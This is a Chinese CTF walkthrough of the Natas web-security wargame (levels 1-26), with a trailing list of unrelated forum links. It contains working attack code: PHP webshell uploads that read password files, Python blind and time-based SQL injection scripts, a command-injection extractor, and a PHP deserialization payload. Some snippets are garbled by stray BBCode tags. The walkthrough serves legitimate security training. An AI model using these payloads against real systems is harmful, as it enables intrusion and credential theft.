web安全Wargame—Natas解题思路(1-26)
前言:
接下来给大家分享一下,1-20题的WriteUp。
Natas0:
Natas1:
Natas2:
Natas3:
Natas4:
Natas5:
Natas6:
Natas7:
Natas8:
Natas9:
Natas10:
Natas11:
|
01
02
03
04
05
06
07
08
09
10
|
function xor_encrypt($in){ $key = '<censored>'; #预定义参数key $text = $in; #输入参数 $outText = ''; #输出参数 // Iterate through each character for($i=0;$i<strlen($text);$i++) { #for循环,遍历输入参数 $outText .= $text[$i] ^ $key[$i % strlen($key)]; #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数 } return $outText; #返回加密结果} |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
|
<?php$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");$data= 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw';function xor_encrypt($in,$out) { $key ='' ; $text = $in; for($i=0;$i<strlen($text);$i++) { $key .= $text[$i] ^ $out[$i]; } return $key;} echo xor_encrypt(json_encode($defaultdata),base64_decode($data)); ?> |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
<?php$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");function xor_encrypt($in) { $key = 'qw8J'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText;}echo base64_encode(xor_encrypt(json_encode($defaultdata)));?> |
Natas12:
|
1
2
3
|
<?phpsystem('cat /etc/natas_webpass/natas13');?> |
Natas13:
|
1
2
3
4
5
|
GIF89a<?phpsystem('cat /etc/natas_webpass/natas14');?> |
Natas14:
Natsa15:
|
1
|
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; |
|
1
2
3
4
|
CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); |
|
1
|
'username':'natas16" AND password LIKE binary "%s"%字符' |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
|
import requestsurl = "http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php"chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"payload = r'natas16" AND password LIKE binary "%s" #'#使用like模糊查询不会区分大小写,要带上binary。key = "%"while len(key) <= 32: #循环32次 for i in chr: #确定字符 a = key[:-1]+i+key[-1:] print a req = requests.post(url=url,data={'username':payload%a}) if "This user exists" in req.text: key = a print key print key #输出key |
|
1
|
passthru("grep -i \"$key\" dictionary.txt"); |
|
1
|
passthru("grep-i "($grep ^a etc/natas_webpasswd/natas17)wrong \" dictionary.txt"); |
|
01
02
03
04
05
06
07
08
09
10
11
|
import requestskey = ''char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[/color][/font][/align][align=left][font=宋体][color=Black][/color][/font][/align][align=left][font=宋体][color=Black]while len(key) < 32: for i in range(len(char)): payload = {'needle':'$(grep ^'+key+char+'.* /etc/natas_webpass/natas17)wrong','submit':'Search'} req = requests.get(url=url,params=payload) if 'wrong' not in req.text: key += char print key |
Natas17:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
|
import requests[/color] [color=Black]url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'key =''for i in range(1,33): a = 32 c = 126 while a<c: b = (a+c)/2 payload=r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "'%(b,i) try: req = requests.post(url=url,data={"username":payload},timeout=2) except requests.exceptions.Timeout,e: a=b+1 b=(a+c)/2 continue c=b key +=chr(b) print key |
Natas18:
Natas19:
|
1
2
3
4
5
6
7
|
a = []for i in range(30,40): for j in range(30,40): a.append( '%d%d'%(i,j))with open ("1.txt","w")as f: for i in a: f.write(i+"\n") |
Natas20:
|
1
2
3
4
5
|
查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码;if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <censored></pre>"; |
print "Password: <censored></pre>";[/mw_shl_code]
|
1
2
3
4
5
6
|
// if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } |
Natas22:
|
1
2
3
4
5
|
if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); } |
|
1
2
3
4
5
6
|
// if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } |
|
1
2
3
4
5
6
7
8
|
if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } |
Natas24:
|
01
02
03
04
05
06
07
08
09
10
|
<?php if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; }} |
Natas25:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
function setLanguage(){ #选择语言 /* language setup */ if(array_key_exists("lang",$_REQUEST)) if(safeinclude("language/" . $_REQUEST["lang"] ))#检查输入 return 1; safeinclude("language/en"); }function safeinclude($filename){ #检查输入参数 // check for directory traversal if(strstr($filename,"../")){ #禁止目录遍历 logRequest("Directory traversal attempt! fixing request."); $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ #文件访问控制 logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks... if (file_exists($filename)) { #检测目录是否存在 include($filename); return 1; } return 0;}function logRequest($message){ #请求日志 $log="[". date("d.m.Y H::i:s",time()) ."]"; #时间日期 $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];#加http_user_agent $log=$log . " \"" . $message ."\"\n"; #加上message $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); #将日志信息写入文件 fwrite($fd,$log); fclose($fd); } |
Natas26:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
class Logger{ private $logFile; #三个私有参数 private $initMsg; private $exitMsg; function __construct($file){ #类创建时调用 // initialise variables #初始化变量 $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message #写入初始信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ #写入信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ #类销毁时调用 // write exit message #写入退出信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
<?phpclass Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct(){ #注入信息 $this->initMsg=""; $this->exitMsg="<?echo include '/etc/natas_webpass/natas27';?>"; $this->logFile="img/aaa.php"; }}$test = new Logger();echo serialize($test);echo "\n";echo base64_encode(serialize($test)); #显示base64编码后的序列化字符串?> |
END~
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
web安全Wargame—Natas解题思路(1-26)的更多相关文章
- 阿里聚安全攻防挑战赛第三题Android PwnMe解题思路
阿里聚安全攻防挑战赛第三题Android PwnMe解题思路 大家在聚安全挑战赛正式赛第三题中,遇到android app 远程控制的题目.我们今天带你一探究竟,如何攻破这道题目. 一.题目 购物应用 ...
- leetcode array解题思路
Array *532. K-diff Pairs in an Array 方案一:暴力搜索, N平方的时间复杂度,空间复杂度N 数组长度为10000,使用O(N平方)的解法担心TLE,不建议使用,尽管 ...
- MySQL-注释-Navicat基本使用-复杂查询练习题-解题思路-pymysql操作数据库-SQL注入-05
目录 mysql语句注释 navicat 的基本使用 特色(个人总结) 与数据服务器建立连接 创建&打开数据库.表 创建 打开 修改操作表结构 修改表结构 查询修改操作表数据 基本语句对应的操 ...
- 记一次CTF比赛过程与解题思路-MISC部分
前言 最近好久没更新博客和公众号了,有朋友问是不是在憋大招,但我不好意思说其实是因为最近一段时间太懒了,一直在当咸鱼- 意识到很久没更新这个问题,我是想写点什么的,但好像一直当咸鱼也没啥可分享的,最近 ...
- n皇后2种解题思路与代码-Java与C++实现
林炳文Evankaka原创作品.转载请注明出处http://blog.csdn.net/evankaka 摘要:本文主要讲了n皇后问题的解题思路,并分别用java和c++实现了过程,最后,对于算法改进 ...
- [LeetCode] 16. 3Sum Closest 解题思路
Given an array S of n integers, find three integers in S such that the sum is closest to a given num ...
- [LeetCode] 234. Palindrome Linked List 解题思路
Given a singly linked list, determine if it is a palindrome. Follow up:Could you do it in O(n) time ...
- [LeetCode] 76. Minimum Window Substring 解题思路
Given a string S and a string T, find the minimum window in S which will contain all the characters ...
- [LeetCode] 3Sum 解题思路
Given an array S of n integers, are there elements a, b, c in S such that a + b + c = 0? Find all un ...
随机推荐
- pythone函数基础(13)发送网络请求
需要导入urllib模块,request模块发送网络请求有两种方法 第一种方法# from urllib.request import urlopen# from urllib.parse impor ...
- Java-Oracle数据库连接
Oracle数据库先创建一个表和添加一些数据,下面是连接数据库的具体实现.(导入jar包:ojdbc14.jar) import java.sql.Connection; import java.sq ...
- Asp.net core 向Consul 注册服务
Consul服务发现的使用方法:1. 在每台电脑上都以Client Mode的方式运行一个Consul代理, 这个代理只负责与Consul Cluster高效地交换最新注册信息(不参与Leader的选 ...
- log4j 配置日志输出(log4j.properties)
轉: https://blog.csdn.net/qq_29166327/article/details/80467593 一.入门log4j实例 1.1 下载解压log4j.jar(地址:http: ...
- MUI手势锁
通过mui提供的手势锁插件实现,手势锁样式.存储需要自己完成. 1.样式展示 2.实现 2.1 html 需要一个div容器 <div class="mui-content" ...
- error: ModuleNotFoundError: No module named 'ConfigParser'
(env2.7) Kaitlyns-Mac:bin kaitlyn$ pip install MySQL-python Looking in indexes: https://pypi.tuna.ts ...
- CF Good Bye 2018
前言:这次比赛爆炸,比赛时各种想多,导致写到\(D\)题时思路已经乱了,肝了\(1\)个多小时都没肝出来,\(B\)题中途因为没开\(long\ long\)又被\(HACK\)了..\(C\)题因为 ...
- 不在sudoer里解决办法 和 RHEL 挂载NTFS硬盘
输入su 切换到root用户 打开/etc/sudoers sudo vim sudoers 在root ALL=(ALL:ALL) ALL 下边比着写一个自己的用户名就可以了 下载 可以到ht ...
- cytoscape.js
http://js.cytoscape.org/ HTML 报告中插入动态网络关系图利器
- Filter笔记
1.Filter [1] Filter简介 > Filter翻译为中文是过滤器的意思. > Filter是JavaWeb的三大web组件之一:Servlet.Filter.Listener ...